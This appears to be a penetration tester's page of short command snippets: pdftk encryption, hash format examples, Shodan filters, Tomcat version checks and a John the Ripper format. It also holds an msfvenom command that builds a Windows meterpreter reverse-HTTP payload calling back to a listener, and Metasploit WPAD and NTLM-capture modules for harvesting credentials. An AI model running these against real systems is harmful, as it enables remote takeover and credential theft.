ddouhine

Encrypt a PDF using 128-Bit Strength (the Default) and Withhold All Permissions (the Default)
	pdftk mydoc.pdf output mydoc.128.pdf owner_pw foopass

pdftk file.pdf output file_4char.pdf encrypt_40bit user_pw abcd
Same as Above, Except a Password is Required to Open the PDF
	pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz

Same as Above, Except Printing is Allowed (after the PDF is Open)
	pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz allow printing

ddouhine

DES(Unix)
Example: IvS7aeT4NzQPM
Used in Linux and other similar OS.
Length: 13 characters.
Description: The first two characters are the salt (random characters; in our example the salt is the string "Iv"), then there follows the actual hash.
Notes: [1] [2]

Domain Cached Credentials
Example: Admin:b474d48cdfc4974d86ef4d24904cdd91
Used for caching passwords of Windows domain.

ddouhine

/////////////////////////////////////////////////////////////////////////////////////////////
List of Executable File Extensions
/////////////////////////////////////////////////////////////////////////////////////////////
Extension 	Format 	Operating System(s)
ACTION 	Automator Action 	Mac OS
APK 	Application 	Android
APP 	Executable 	Mac OS
BAT 	Batch File 	Windows
BIN 	Binary Executable 	Windows, Mac OS, Linux
CMD 	Command Script 	Windows

ddouhine

» city
» country
nginx city:"San Diego" country:US
» geo
Devices within a 50km radius of San Diego (32.8,-117): geo:32.8,-117,50
» hostname
"Server: gws" hostname:google
» net
net:216.219.0.0/16
» os

ddouhine

//tomcat version
get and unzip $TOMCAT_HOME/server/lib/catalina.jar 
cat org/apache/catalina/util/ServerInfo.properties
cat META-INF/MANIFEST.MF

grep -ri version * | more
(...)
META-INF/MANIFEST.MF:Specification-Version: 6.0
META-INF/MANIFEST.MF:Implementation-Version: 6.0.35

ddouhine

.../metasploit_4.11.3-2015062101-1kali0_i386.deb

root@kali:~# msfvenom -p windows/meterpreter_reverse_http exitfunc=thread lhost=1.1.1.5 R -a x86 -f exe --platform windows > meter_1.1.1.5.exe
No encoder or badchars specified, outputting raw payload

ddouhine

3999,5000,5005,8000,8453,8787-8788,9001,18000

ddouhine

use auxiliary/server/wpad
set PROXY x.x.x.x
run

use auxiliary/server/capture/http_ntlm
set CAINPWFILE /root/cain.http.pw
set JOHNPWFILE /root/john.http.pw
set URIPATH /
set SRVPORT 80
run

ddouhine

http://wtfismyip.com/
http://web-sniffer.net/
http://www.urlquery.net/
http://www.rexswain.com/httpview.html
http://httpbin.org
http://requestb.in

ddouhine

/////////////////////////////////////////////////////////////////////////////////////////////
Add these lines to JtR /run/dynamic.conf:
/////////////////////////////////////////////////////////////////////////////////////////////
[List.Generic:dynamic_1591]
Expression=md5($u:ManagementRealm:$p)
CONST1=:ManagementRealm:
Flag=MGF_USERNAME
Flag=MGF_NOTSSE2Safe
Func=DynamicFunc__clean_input
Func=DynamicFunc__append_userid